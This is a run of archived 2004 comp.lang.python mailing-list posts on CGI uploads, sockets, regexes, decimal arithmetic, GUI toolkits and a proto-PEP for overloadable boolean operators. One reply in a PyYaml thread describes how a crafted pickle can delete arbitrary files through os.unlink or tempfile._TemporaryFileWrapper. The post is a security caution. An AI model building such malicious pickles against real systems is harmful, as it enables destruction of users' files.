don't worry about whether or not there's an available connection. Instead, assume there is a connection and worry about the status of your requests on the network. From fuzzyman at gmail.com Sat Sep 4 14:39:50 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 4 Sep 2004 11:39:50 -0700 Subject: POST method, CGI and file transfer Message-ID: <6f402501.0409041039.610ce8d8@posting.google.com> Another http question. First one is simple - if a POST is made *to* a CGI with file uplaods then you can get a FieldStorage with list values - each entry in the list being a file. Two questions about this : 1) Is this the only situation you'll get list values posted to a CGI ? If you have a list value in your FieldStorage instance can you be sure that it's files ? 2) If a post is made of 1 file will it still be a list ? (jsut with a single entry) Admittedly the second one I could actually try... :-) More complicated - I want to proxy the file posts, i.e. extract them from the FieldStorage and re-encode them to make another post from the CGI. How do you encode multipart file posts - I couldn't see it obviously from teh standard libraries. For ordinary data I would use urllib.urlencode. I saw one solution at http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/146306 but this uses httplib and makes the post. I would *much* rather (if possible) encode the files as headers in a Request object and use urllib2 to make the post. MANY TIA Regards, Fuzzy http://www.voidspace.org.uk/atlantibots/pythonutils.html From jepler at unpythonic.net Wed Sep 8 16:53:02 2004 From: jepler at unpythonic.net (Jeff Epler) Date: Wed, 8 Sep 2004 15:53:02 -0500 Subject: Machine identification In-Reply-To: References: <01f101c495cd$a786cc40$054b12ac@D18SYX41> Message-ID: <20040908205301.GD19306@unpythonic.net> I don't have a machine with the particular misconfiguration John does, but I have suggested a different method which should identify the IP address of the external interface, not the loopback device. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(("1.1.1.1", 1)) print s.getsockname() No packets are actually sent on s, so it doesn't matter that 1.1.1.1 probably doesn't exist, or in any case doesn't intend to receive UDP packets on port 1. It's just a routable IPV4 address. Once the socket is created, its "name" will be filled out, and should correspond to the address of the interface that would actually be used to send the packet. If this address is a non-routable address, such as 10.0.2.2, which will be NATted by some other machine, the problem can't be solved by writing a few lines of Python to execute on the NATted machine. However, this routine will help when DNS is misconfigured (so that gethostbyname returns the wrong address) or when gethostname misbehaves (returning the wrong string, like "localhost.localdomain") Jeff -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 196 bytes Desc: not available URL: From fumanchu at amor.org Sat Sep 18 14:19:38 2004 From: fumanchu at amor.org (Robert Brewer) Date: Sat, 18 Sep 2004 11:19:38 -0700 Subject: Comparioson of purpose for PyGUI and AnyGUI ??? Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EEE@exchange.hqamor.amorhq.net> Alex Martelli wrote: > ...indeed, I deliberately walked away from years of expertise > programming for Win [[see http://www.aleax.it/TutWin32/index.htm]] > because I just couldn't stand it any more...!-). I understood everything except the part about the bees: http://babel.altavista.com/babelfish/trurl_pagecontent?url=http%3A%2F%2F www.aleax.it%2FTutWin32%2Findex.htm&lp=it_en At least English still has the word "apiary" to help us out. ;) FuManChu From mfuhr at fuhr.org Sat Sep 25 10:10:49 2004 From: mfuhr at fuhr.org (Michael Fuhr) Date: 25 Sep 2004 08:10:49 -0600 Subject: \number parameter in regular expression References: <39cbe663.0409250519.45d70c42@posting.google.com> Message-ID: <41557c69$1_2@omega.dimensional.com> pit.grinja at gmx.de (Piet) writes: > I am trying to understand the correct use of the \number parameter in > pythons regular expressions. I belive that the following should work > import re > pattern = re.compile("([a-zA-Z]*)(.*)(\d{4}-\d{2}-\d{2})\1") > search = pattern.search("Date#ThisIsASpacer2004-09-25Date") > print search.groups() > But it doesn't, because the RE doesn't match. > I thought that the "\1" thing indicates that the respective part of > the string in question should match the one that is located in > search.group(1). Read the intro to the re documentation: http://docs.python.org/lib/module-re.html Hint: what does \1 mean in a string that's not used as a regular expression? -- Michael Fuhr http://www.fuhr.org/~mfuhr/ From daveh at dmh2000.com Mon Sep 20 00:34:35 2004 From: daveh at dmh2000.com (david h) Date: 19 Sep 2004 21:34:35 -0700 Subject: Math errors in python References: Message-ID: <4618b20c.0409192034.5408eebb@posting.google.com> the problem with BCD or other 'decimal' computations is that it either doesn't have the dynamic range of binary floating point (~ +-10**310) or if it has unlimited digits then there is a LOT of software cranking to do the math, whereas binary floating point is in the hardware. If you want the language to use binary floating point (fast) but do the rounding for you, then fine, but then you will have problems using it for any real numerical task because the issue of rounding is very important to numerical analysis, and is done different ways in different cases. Every time the language runtime rounds for you, it is introducing errors to your computations that you may or may not want. There is a large body of knowledge surrounding the use of IEEE 754 floating point representation and if the language diverges from that then users who want to do numerical analysis won't use it. another question: do you want the math package to round for you, or do you want the IO package to do it only when you print? You will get different results from each. I could imagine a language runtime could have a switch that tells it to automatically round the results for you, either in the math or the IO. From tim.peters at gmail.com Tue Sep 14 17:26:49 2004 From: tim.peters at gmail.com (Tim Peters) Date: Tue, 14 Sep 2004 17:26:49 -0400 Subject: comparing datetime with date In-Reply-To: <_YadnaNopM35ztrcRVn-gg@powergate.ca> References: <_YadnaNopM35ztrcRVn-gg@powergate.ca> Message-ID: <1f7befae04091414264479b3cc@mail.gmail.com> [Diez B. Roggisch] >> Try making a datetime-object from your date, with zeros for the time part - >> then you'll get what you want. [Peter Hansen] > While trying to provide my first answer, I thought of suggesting > this, but there doesn't appear to be a simple way of doing it. datetime.datetime has a class constructor for building a datetime out of a date and a time, so this can be done via a simple one-liner: >>> import datetime >>> t = datetime.date.today() >>> t datetime.date(2004, 9, 14) >>> datetime.datetime.combine(t, datetime.time()) datetime.datetime(2004, 9, 14, 0, 0) >>> From aleaxit at yahoo.com Sat Sep 25 05:31:53 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 25 Sep 2004 11:31:53 +0200 Subject: Python GUI, which one? References: <278de0e.0409241848.47bdc650@posting.google.com> Message-ID: <1gko2h6.19jisq012y6v91N%aleaxit@yahoo.com> Neuruss wrote: > I only know 3: > > 1) Boa Contructor > 2) PythonCard > 3) BlackAdder (commercial) The original question was on Python GUI _APIs_, not on tools too graphically construct GUI's. The APIs include many cross-platform ones, such as wxPython, PyQt, Tkinter, PyGTK, and many others, and many platform-specific ones too (Windows-only, Mac-only, etc). Alex From opengeometry at yahoo.ca Tue Sep 7 18:33:21 2004 From: opengeometry at yahoo.ca (William Park) Date: 7 Sep 2004 22:33:21 GMT Subject: Simple Web Templating system with execution in templates References: Message-ID: <2q6r9gFrv1baU1@uni-berlin.de> Chris Stiles wrote: > > Hi -- > > Does anyone have any recommendations for simple web templating systems for > python that also allow execution of python code within the the templates > themselves ? > > So far I'm using Albatross, and it's nice, though it would be nicer still if > it had proper support for 'code tags' ala . Perhaps, you can have a look at shell template called BASP: http://freshmeat.net/projects/basp/ Essentially, you would be embedding shell script, in it, you would put Python code. Or, you can modify the code to run Python directly. -- William Park Open Geometry Consulting, Toronto, Canada From iker at research.att.com Wed Sep 15 12:10:16 2004 From: iker at research.att.com (Iker Arizmendi) Date: Wed, 15 Sep 2004 16:10:16 GMT Subject: Subclassing in C In-Reply-To: References: <41470D3A.1040206@research.att.com> <41473FCF.5000706@research.att.com> Message-ID: Michael Hudson wrote: > OK, some questions. > > 1) You must be assuming 2.2 or later, right? tp_base doesn't make > sense before then. Yup, 2.2 or later (although I'm currently using 2.3). > 2) Is this a third party base type? Not really, it's written by another fellow here. But I have access to the source and am free to make small changes. > 3) If 2) is the third party assuming 2.2 or later? I think it was written before 2.2, but I've made some changes that I think make it 2.2 compliant (eg, I added the Py_TPFLAGS_BASETYPE flag, prepared the type with PyType_Ready, and changed it to use tp_getattro instead of tp_getattr. > If 2) but not 3), you might be in for some hacking (as you later came > up with). You can't really subclass (cleanly) a type that's totally > unprepared for it. So I guess I have (!2 && !3), but I think I've managed to change that to (!2 && 3). So assuming I have two types, both written in C, what's the clean way to do the subclassing? In particular, it would be nice if the C API did the search of my bases for me. > > Py_FindMethod() is SO 2001 :-) Just got started with Python and put on the first thing I found. Didn't realize they were bell bottoms :) Is there a newer method? Regards, Iker From jmlai at uci.edu Mon Sep 6 06:08:07 2004 From: jmlai at uci.edu (Jason Lai) Date: Mon, 06 Sep 2004 03:08:07 -0700 Subject: built-in function- module name clash In-Reply-To: References: Message-ID: Olivier Vierlinck wrote: > Hi, > > I've a python script using somecalls to the abs() built-in function. > > Now, I have to import a module named 'abs' too... > The consequence if that line code like > > if (abs(a-b) < epsilon: > ... > does not work anymore, with this error msg: > > TypeError: 'module' object is not callable > > Clearly, the interpreter tries first to consider 'abs' as a module name rather than a built-in function name. > Any idea on how to force it to call the abs() fct? Some kind of scoping or specific syntax? > (I could rename the abs module too but ...) > > Thanks for your help, > cheers, > Olivier __builtins__.abs(a-b) Not very pretty, but it works. - Jason From lynn at garlic.com Thu Sep 2 09:14:21 2004 From: lynn at garlic.com (Anne & Lynn Wheeler) Date: Thu, 02 Sep 2004 07:14:21 -0600 Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch> <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> Message-ID: Brian Inglis writes: > MS has been borrowing code from Unix to create a real OS: TCP/IP; > NTFS<-ffs; memory mapped files<-mmap. > Shame they keep trying to add their own ideas in too: that must be > what causes the crashes! and unix goes back to multics ... which was on 5th floor, 545 tech sq. while cp/cms was at the science center on 4th floor, 545 tech sq ... http://www.garlic.com/~lynn/subtopic.html#545tech and they both go backto ctss -- Anne & Lynn Wheeler | http://www.garlic.com/~lynn/ From carribeiro at gmail.com Sat Sep 25 00:25:59 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Sat, 25 Sep 2004 01:25:59 -0300 Subject: Why not FP for Money? In-Reply-To: <3A81C87DC164034AA4E2DDFE11D258E3022F0E@exchange.hqamor.amorhq.net> References: <3A81C87DC164034AA4E2DDFE11D258E3022F0E@exchange.hqamor.amorhq.net> Message-ID: <864d370904092421255f685f55@mail.gmail.com> On Fri, 24 Sep 2004 18:52:38 -0700, Robert Brewer wrote: > That would certainly keep Decimal objects from becoming the default > number type in Python 3.0. But if a suffixed "d" is retained, it becomes > Yet Another Thing To Learn, not unlike the current surprises with > floating-point. As a compromise, having the 'd' suffix is better than having no option to write true decimal point literals. > The "end-user" would have to be more explicit in order to achieve the > desired behavior: > x = 1.10d # Notice the trailing 0 > for _ in range(5): > x += 0.02d > print x ----> 1.20d > > In the case of using Decimals as a Money type, this wouldn't be much of > a burden on any society with a decimalized currency (IMO); it's standard > practice to write the trailing zero. I agree with you -- that's what I had in mind when I wrote my example. But for some strange reason I also agree with Jeff's example :-) It only shows how much work is needed before we have something that really works in a sane and reasonable way. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From zooko at zooko.com Tue Sep 14 12:49:31 2004 From: zooko at zooko.com (Zooko O'Whielacronx) Date: 14 Sep 2004 13:49:31 -0300 Subject: up with PyGUI! Message-ID: <0CD79232-066E-11D9-8410-000A95E2A184@zooko.com> I'm a fan of Greg Ewing's PyGUI [1]. I used it to code a simple game for my son [2], and enjoyed it. Programming with wxPython feels like programming with a C++ tool that has been wrapped in Python. Programming with PyGUI feels like programming with a real Python tool. If you're developing a commercial application in Python, wxPython is currently the only option that offers native widgets on w32. It would be a boost for Python if PyGUI got a native w32 backend. Therefore, I offer the following suggestions: Python programmers: use PyGUI! It's nice. Contribute bug reports and so forth. Python developers: Is it too early to include PyGUI in the standard library? It seems stable to me. PSF: If anyone applies for a grant [3] to put a proper w32 backend into PyGUI, please give them money. I would offer to do that job myself, but (a) I'm not w32 expert and (b) I'm busy trying to make one of those aforementioned commercial apps. Thanks, Zooko, Journeyman Hacker [1] http://www.cosc.canterbury.ac.nz/~greg/python_gui/ [2] http://zooko.com/log-2004.html#d2004-06-23 [3] http://python.org/psf/call-2004.html From thomas.lotze at gmx.net Tue Sep 14 09:58:17 2004 From: thomas.lotze at gmx.net (Thomas Lotze) Date: Tue, 14 Sep 2004 15:58:17 +0200 Subject: subclassing str References: <2qoa49F11il3cU1@uni-berlin.de> Message-ID: On Tue, 14 Sep 2004 09:30:43 -0400, Russell Blau wrote: > I think you need to use __new__() instead of __init__(), like so: Thanks, that did the trick. >>>> class SpecialString(str): > def __new__(cls, seq): > if isinstance(seq, SpecialString): > return str.__new__(cls, str(seq)[1:-1]) > else: > return str.__new__(cls, seq) I found it's actually possible to say seq[:] instead of str(seq)[1:-1], which is less dependent on the exact format of the fancy representation. So seq[:] seems to be a "trick" for getting at a sequence as it is, without honouring its (string) representation. Thinking further, I wonder what to do on non-sequence types, and whether there isn't a way to get to an object's core that doesn't look like a trick. Or is it not all that tricky after all? > For more info, see http://www.python.org/2.2.1/descrintro.html#__new__ Thanks for the pointer. -- Viele Gr??e, Thomas From jocknerd1 at yahoo.com Fri Sep 10 14:15:54 2004 From: jocknerd1 at yahoo.com (Jocknerd) Date: Fri, 10 Sep 2004 14:15:54 -0400 Subject: Using re to get data from text file: SOLVED References: <2qdtfbFto5rlU1@uni-berlin.de> Message-ID: On Fri, 10 Sep 2004 14:53:32 +0000, William Park wrote: > Jocknerd wrote: >> I'm a Python newbie and I'm having trouble with Regular Expressions when >> reading in a text file. Here is a sample layout of the input file: >> >> 09/04/2004 Virginia 44 Temple 14 >> 09/04/2004 LSU 22 Oregon State 21 >> 09/09/2004 Troy State 24 Missouri 14 >> >> As you can see, the text file contains a list of games. Each game has a >> date, a winning team, the winning team's score, the losing team, and the >> losing team's score. If I set up my program to import the data with fixed >> length format's its no problem. But some of my text files have different >> layouts. For instance, some only have one space between a team name and >> their score. >> >> Here's how I read in the file using fixed length fields: >> >> filename = sys.argv[1] >> file = open (filename, 'r') >> >> schedule = [] # make a list called schedule >> >> while True: >> line = file.readline() >> if not line: break >> game = {} # make a dictionary called game >> game['date'] = line[0:10] # fixed length field >> game['team1'] = string.strip (line[12:40]) >> game['score1'] = line[40:42] >> game['team2'] = string.strip (line[44:72]) >> game['score2'] = line[72:74] >> schedule.append(game) >> >> file.close() >> >> Note: I'm stripping whitespace from the team names because I don't want >> the team name to actually be a fixed length. >> >> How would I set this up to read in the data using Regular expressions? >> >> I've tried this: >> >> while True: >> line = file.readline () >> if not line: break >> game = {} >> datePattern = re.compile('^(\d{2})\D+(\d{2})\D+(\d{4})') >> >> Here's where I get stuck. What do I do from here? I just don't know how >> to import the text and assign it to the proper fields using the re module. > > > Your format is a bit complicated since team's name can be variable > words. But, I'm assuming that they don't have any digit as part of > their name. So, use '\d+' to separate the fields. Eg. > re.split ('\d+', line) > re.split ('(\d+)', line) > re.split ('(\d+)', line[10:]) Couldn't figure out re.split. Didn't seem to do what I wanted. Here's what did work: #!/usr/bin/python import re filename = sys.argv[1] file = open (filename, 'r') schedule = [] pattern = re.compile(r'^(.*\D\d+\D\d+)\D(.*)\D(.*\d+)\D(.*)\D(.*\d+)(.*)$') while True: line = file.readline() if not line: break g = {} g['date'], g['team1'], g['score1'], g['team2'], g['score2'],g['location'] = pattern.search(line).groups() schedule.append(g) file.close() for game in schedule: print game['date'], game['team1'], game['score1'], game['team2'], game['score2'] From peter at engcorp.com Sat Sep 11 09:37:50 2004 From: peter at engcorp.com (Peter Hansen) Date: Sat, 11 Sep 2004 09:37:50 -0400 Subject: newbie sending hex values over UDP socket In-Reply-To: References: Message-ID: Bill Seitz wrote: > Peter Hansen wrote in message news:... >>The beauty of Python... makes working with even low-level hardware >>a pleasure compared to many languages. :-) > Excellent - now how about calculating a parity-check byte? Depends. What's the algorithm? I've heard people refer to checksums that way, and probably even CRC values. -Peter From elainejackson7355 at home.com Sat Sep 11 18:16:16 2004 From: elainejackson7355 at home.com (Elaine Jackson) Date: Sat, 11 Sep 2004 22:16:16 GMT Subject: 'telegraphy' as a means of data entry Message-ID: I need to record the respective times of the events in a sequence of presses/releases of a particular key on the computer keyboard. The key in question should also make a sound when depressed (perhaps a forlorn sigh - tee hee). On the face of it, it seems like it should be fairly straightforward to achieve this with a suitable combination of ingredients from Tkinter, time and winsound. If someone has already done it, I would be grateful if they were willing to share the results with me. If not, I would welcome suggestions as to how to proceed. Thanks. Peace From greg at cosc.canterbury.ac.nz Sun Sep 5 06:48:25 2004 From: greg at cosc.canterbury.ac.nz (greg) Date: Sun, 05 Sep 2004 22:48:25 +1200 Subject: Proto-PEP: Overloadable Boolean Operators Message-ID: <413AEEF9.7060102@cosc.canterbury.ac.nz> Discussion is invited on the following proto-PEP. ------------------------------------------------------------- PEP ??? - Overloadable Boolean Operators ======================================== SUMMARY This PEP proposes an extension to permit objects to define their own meanings for the boolean operators 'and', 'or' and 'not', and suggests an efficient strategy for implementation. A prototype of this implementation is available for download from: http://www.cosc.canterbury.ac.nz/~greg/python/obo/Python_OBO.tar.gz BACKGROUND Python does not currently provide any '__xxx__' special methods corresponding to the 'and', 'or' and 'not' boolean operators. In the case of 'and' and 'or', the most likely reason is that these operators have short-circuiting semantics, i.e. the second operand is not evaluated if the result can be determined from the first operand. The usual techique of providing special methods for these operators therefore would not work. There is no such difficulty in the case of 'not', however, and it would be straightforward to provide a special method for this operator. The rest of this proposal will therefore concentrate on providing a way to overload 'and' and 'or'. MOTIVATION There are many applications in which it is natural to provide custom meanings for Python operators, and in some of these, having boolean operators excluded from those able to be customised can be inconvenient. Examples include: 1. Numeric/Numarray, in which almost all the operators are defined on arrays so as to perform the appropriate operation between corresponding elements, and return an array of the results. For consistency, one would expect a boolean operation between two arrays to return an array of booleans, but this is not currently possible. There is a precedent for an extension of this kind: comparison operators were originally restricted to returning boolean results, and rich comparisons were added so that comparisons of Numeric arrays could return arrays of booleans. 2. A symbolic algebra system, in which a Python expression is evaluated in an environment which results in it constructing a tree of objects corresponding to the structure of the expression. 3. A relational database interface, in which a Python expression is used to construct an SQL query. A workaround often suggested is to use the bitwise operators '&', '|' and '~' in place of 'and', 'or' and 'not', but this has some drawbacks. The precedence of these is different in relation to the other operators, and they may already be in use for other purposes (as in example 1). There is also the aesthetic consideration of forcing users to use something other than the most obvious syntax for what they are trying to express. This would be particularly acute in the case of example 3, considering that boolean operations are a staple of SQL queries. REQUIREMENTS The requirements for a successful solution to the problem of allowing boolean operators to be customised are: 1. In the default case (where there is no customisation), the existing short-circuiting semantics must be preserved. 2. There must not be any appreciable loss of speed in the default case. 3. If possible, the customisation mechanism should allow the object to provide either short-circuiting or non-short-circuiting semantics, at its discretion. One obvious strategy, that has been previously suggested, is to pass into the special method the first argument and a function for evaluating the second argument. This would satisfy requirements 1 and 3, but not requirement 2, since it would incur the overhead of constructing a function object and possibly a Python function call on every boolean operation. Therefore, it will not be considered further here. The following section proposes an implementation that addresses all three requirements. A prototype of this implementation, in the form of a patch to Python 2.3, is available from: http://www.cosc.canterbury.ac.nz/~greg/python/obo/Python_OBO.tar.gz PROPOSAL Special Methods At the Python level, objects may define the following special methods. Unary: __not__(self) Binary, phase 1: __and1__(self) __or1__(self) Binary, phase 2: __and2__(self, other) __or2__(self, other) __rand2__(self, other) __ror2__(self, other) The __not__ method, if defined, implements the 'not' operator. If it is not defined, or it returns NotImplemented, existing semantics are used. To permit short-circuiting, processing of the 'and' and 'or' operators is split into two phases. Phase 1 occurs after evaluation of the first operand but before the second. If the first operand defines the appropriate phase 1 method, it is called with the first operand as argument. If that method can determine the result without needing the second operand, it returns the result, and further processing is skipped. If the phase 1 method determines that the second operand is needed, it returns the special value NeedOtherOperand. This triggers the evaluation of the second operand, and the calling of an appropriate phase 2 method. Processing falls back to existing semantics if at any stage a relevant special method is not found or returns NotImplemented. As a special case, if the first operand defines a phase 2 method but no corresponding phase 1 method, the second operand is always evaluated and the phase 2 method called. This allows an object which does not want short-circuiting semantics to simply implement the relevant phase 2 methods and ignore phase 1. Bytecodes The patch adds four new bytecodes, LOGICAL_AND_1, LOGICAL_AND_2, LOGICAL_OR_1 and LOGICAL_OR_2. As an example of their use, the bytecode generated for an 'and' expression looks like this: . . . evaluate first operand LOGICAL_AND_1 L evaluate second operand LOGICAL_AND_2 L: . . . The LOGICAL_AND_1 bytecode performs phase 1 processing. If it determines that the second operand is needed, it leaves the first operand on the stack and continues with the following code. Otherwise it pops the first operand, pushes the result and branches to L. The LOGICAL_AND_2 bytecode performs phase 2 processing, popping both operands and pushing the result. Type Slots A the C level, the new special methods are manifested as five new slots in the type object. In the patch, they are added to the tp_as_number substructure, since this allowed making use of some existing code for dealing with unary and binary operators. Their existence is signalled by a new type flag, Py_TPFLAGS_HAVE_BOOLEAN_OVERLOAD. The new type slots are: unaryfunc nb_logical_not; unaryfunc nb_logical_and_1; unaryfunc nb_logical_or_1; binaryfunc nb_logical_and_2; binaryfunc nb_logical_or_2; Python/C API Functions There are also five new Python/C API functions corresponding to the new operations: PyObject *PyObject_LogicalNot(PyObject *); PyObject *PyObject_LogicalAnd1(PyObject *); PyObject *PyObject_LogicalOr1(PyObject *); PyObject *PyObject_LogicalAnd2(PyObject *, PyObject *); PyObject *PyObject_LogicalOr2(PyObject *, PyObject *); AUTHOR Gregory Ewing greg at cosc.canterbury.ac.nz From python-url at phaseit.net Tue Sep 14 17:26:07 2004 From: python-url at phaseit.net (Cameron Laird) Date: Tue, 14 Sep 2004 21:26:07 +0000 Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Sep 14) Message-ID: QOTW: "[T]he essence of software development is code/task factorization." Hung Jung Lu "[U]se the best tool for the job, and don't use any that preclude you from using others at the same time as well." Roger Binns "SciPy 2004 ... was a great success." http://groups.google.com/groups?th=cf4d033c9ca22c42 Notice, by the way, the new availability of *Python Scripting for Computational Science*. http://www.amk.ca/diary/archives/cat_python.html#003329 "In recent months several posters on comp.lang.python have suggested that Python would benefit from making it possible for people to comment on the documentation, an approach similar to the PHP docs." Andrew Kuchling didn't join the speculation on the desirability of such a hypothetical; rather, In his award-winning manner, he created it. Notice that discussion now focuses on optimization. http://groups.google.com/groups?frame=left&th=4e553e0347dd115c Magnus Lie Hetland launches a Wiki just to "chisel ... out a possible standard API ... for graphs in Python." Notice that, by the end of the thread, the Wiki is *not* temporary. http://groups.google.com/groups?frame=left&th=93df0776394aa6f0 In a single thread, Alex Martelli both: enlists the tokenize module to introduce examples of the advantages of the new iterator protocol; and illustrates ways to leverage tokenize() to handle tokens unknown to base Python. http://groups.google.com/groups?frame=left&th=b9914fda3566bbd0 Bryan Olson argues that David Mertz's "weightless threads" are weak--weaker, at least, than true co-routines. http://groups.google.com/groups?frame=left&th=ca4b3ec6501d42aa Is there a problem greenlets solve? Did Churchill and Fermi share a speechwriter? http://groups.google.com/groups?frame=left&th=696336311fa0f429 http://groups.google.com/groups?frame=left&th=c802f304c8eafcc3 Alex Martelli makes the case that you, too, can readily learn enough to be a time wizard. http://groups.google.com/groups?th=135ee8f8e6a362f5 ======================================================================== Everything Python-related you want is probably one or two clicks away in these pages: Python.org's Python Language Website is the traditional center of Pythonia http://www.python.org Notice especially the master FAQ http://www.python.org/doc/FAQ.html PythonWare complements the digest you're reading with the marvelous daily python url http://www.pythonware.com/daily Mygale is a news-gathering webcrawler that specializes in (new) World-Wide Web articles related to Python. http://www.awaretek.com/nowak/mygale.html While cosmetically similar, Mygale and the Daily Python-URL are utterly different in their technologies and generally in their results. comp.lang.python.announce announces new Python software. Be sure to scan this newsgroup weekly. http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python.announce Brett Cannon continues the marvelous tradition established by Andrew Kuchling and Michael Hudson of intelligently summarizing action on the python-dev mailing list once every other week. http://www.python.org/dev/summary/ The Python Package Index catalogues packages. http://www.python.org/pypi/ The somewhat older Vaults of Parnassus ambitiously collects references to all sorts of Python resources. http://www.vex.net/~x/parnassus/ Much of Python's real work takes place on Special-Interest Group mailing lists http://www.python.org/sigs/ The Python Business Forum "further[s] the interests of companies that base their business on ... Python." http://www.python-in-business.org Python Success Stories--from air-traffic control to on-line match-making--can inspire you or decision-makers to whom you're subject with a vision of what the language makes practical. http://www.pythonology.com/success The Python Software Foundation (PSF) has replaced the Python Consortium as an independent nexus of activity. It has official responsibility for Python's development and maintenance. http://www.python.org/psf/ Among the ways you can support PSF is with a donation. http://www.python.org/psf/donate.html Cetus collects Python hyperlinks. http://www.cetus-links.org/oo_python.html Python FAQTS http://python.faqts.com/ The Cookbook is a collaborative effort to capture useful and interesting recipes. http://aspn.activestate.com/ASPN/Cookbook/Python Among several Python-oriented RSS/RDF feeds available are http://www.python.org/channews.rdf http://bootleg-rss.g-blog.net/pythonware_com_daily.pcgi http://python.de/backend.php For more, see http://www.syndic8.com/feedlist.php?ShowMatch=python&ShowStatus=all The old Python "To-Do List" now lives principally in a SourceForge reincarnation. http://sourceforge.net/tracker/?atid=355470&group_id=5470&func=browse http://python.sourceforge.net/peps/pep-0042.html The online Python Journal is posted at pythonjournal.cognizor.com. editor at pythonjournal.com and editor at pythonjournal.cognizor.com welcome submission of material that helps people's understanding of Python use, and offer Web presentation of your work. *Py: the Journal of the Python Language* http://www.pyzine.com Archive probing tricks of the trade: http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python&num=100 http://groups.google.com/groups?meta=site%3Dgroups%26group%3Dcomp.lang.python.* Previous - (U)se the (R)esource, (L)uke! - messages are listed here: http://www.ddj.com/topics/pythonurl/ http://purl.org/thecliff/python/url.html (dormant) or http://groups.google.com/groups?oi=djq&as_q=+Python-URL!&as_ugroup=comp.lang.python Suggestions/corrections for next week's posting are always welcome. E-mail to should get through. To receive a new issue of this posting in e-mail each Monday morning (approximately), ask to subscribe. Mention "Python-URL!". -- The Python-URL! Team-- Dr. Dobb's Journal (http://www.ddj.com) is pleased to participate in and sponsor the "Python-URL!" project. From nhodgson at bigpond.net.au Thu Sep 16 08:46:32 2004 From: nhodgson at bigpond.net.au (Neil Hodgson) Date: Thu, 16 Sep 2004 12:46:32 GMT Subject: up with PyGUI! References: <2qq5adF133c5kU1@uni-berlin.de> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> <1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com> <1gk76qq.kwo4dz1cftwe3N%aleaxit@yahoo.com> Message-ID: Alex Martelli: > Developing a tool such as, say, > BlackAdder or WingIDE, should cost MUCH less over there, yet if sales > are all done through the net it should not matter at all whether a tool > is written in Brazil or Norway. > > Clearly it's not happening. Even third-world countries with HUGE > presence in the IT industry, such as India, are totally concentrating on > developing custom applications, not tools for resale via the net. As > far as I know all commercial IDE's and other tools of that ilk come from > Canada, the US, and the rich parts of Europe. It's a puzzlement! Much of development staff at theKompany are located in Romania and Ukraine. I've worked on development tool projects where most of the software was developed in Egypt and India although the brand on the products appeared USAn. http://linuxtoday.com/news_story.php3?ltsn=2000-10-15-012-20-PS-BZ-KE Neil From adalke at mindspring.com Sat Sep 18 12:28:54 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Sat, 18 Sep 2004 16:28:54 GMT Subject: PyYaml? In-Reply-To: <8GP2d.72$Pz3.9@trndny01> References: <2IO2d.1086$HH5.1025@trndny05> <8GP2d.72$Pz3.9@trndny01> Message-ID: Chris S. wrote: > However, Pickle's small programming language > allows for arbitrary file deletion. That would not be possible with Yaml. I just looked through pickle.py's list of opcodes. I don't see any which mention file deletion. There are ones that let you call an arbitrary callable with arbitrary parameters, like 'os.unlink' with your filename of choice. But even if you limited that to arbitrary constructors, instead of all arbitrary callables, you can still delete files. Consider tempfile._TemporaryFileWrapper. Except under MS Windows, if you make one of these its __del__ deletes the named files. You can pass any name you want as the filename, so it provides a way to delete files via pickle. If Yaml lets me create tempfile._TemporaryFileWrapper(None, "/path/to/file") then that file will (eventually) be deleted. If Yaml doesn't let me create that file then either 1) it isn't as powerful as pickle or 2) it uses some registery of allowed object. If #2, I think pickle support that too. >> Also, I'll guess that it doesn't handle Python's new __slots__ >> since it only mentions __dict__. > > True. In fact, the current implementation doesn't yet fully handle > subclassing/inheritance. They've done a lot, but it's still a work in > progress. Then why would be it a viable replacement for pickle? Andrew dalke at dalkescientific.com From adalke at mindspring.com Sat Sep 25 04:26:35 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Sat, 25 Sep 2004 08:26:35 GMT Subject: Why not FP for Money? In-Reply-To: References: <3A81C87DC164034AA4E2DDFE11D258E3022F0E@exchange.hqamor.amorhq.net> Message-ID: <%Y95d.2674$zG1.27@newsread3.news.pas.earthlink.net> Carlos Ribeiro wrote: > As a compromise, having the 'd' suffix is better than having no option > to write true decimal point literals. That's not an effective argument for why a decimal point should be made a literal. I use regular expressions much more often than decimals -- why shouldn't Python, like Perl, support a regular expression literal? The tension here is between these ideas: Special cases aren't special enough to break the rules. Simple is better than complex. Although practicality beats purity. Why is a decimal point literal special enough to break the rule that nearly all objects (except int, string, float, complex(!), list, tuple, dict, function, and class -- that's quite a few) are created using a call-style syntax? Is it simpler to limit the number of literals, or better to simplify making decimal literals? I'm against adding new literals. There hasn't been one added since complex in ... must have been the mid-1990s. I'm not the decision maker here but I'll hazard to guess decimal needs to be used more widely before making that change. Andrew dalke at dalkescientific.com From bokr at oz.net Sun Sep 19 16:51:52 2004 From: bokr at oz.net (Bengt Richter) Date: 19 Sep 2004 20:51:52 GMT Subject: Microthreads without Stackless? References: <18282ecb.0409120634.5ba044ee@posting.google.com> <18282ecb.0409151755.47b691e2@posting.google.com> <8cf9f521.0409162213.105d321e@posting.google.com> <8cf9f521.0409171009.142a3fcd@posting.google.com> Message-ID: On 19 Sep 2004 00:33:56 GMT, bokr at oz.net (Bengt Richter) wrote: [...] >(Not tested beyond what you see, it's just an experimental toy ;-) [...] ----< cotest.py 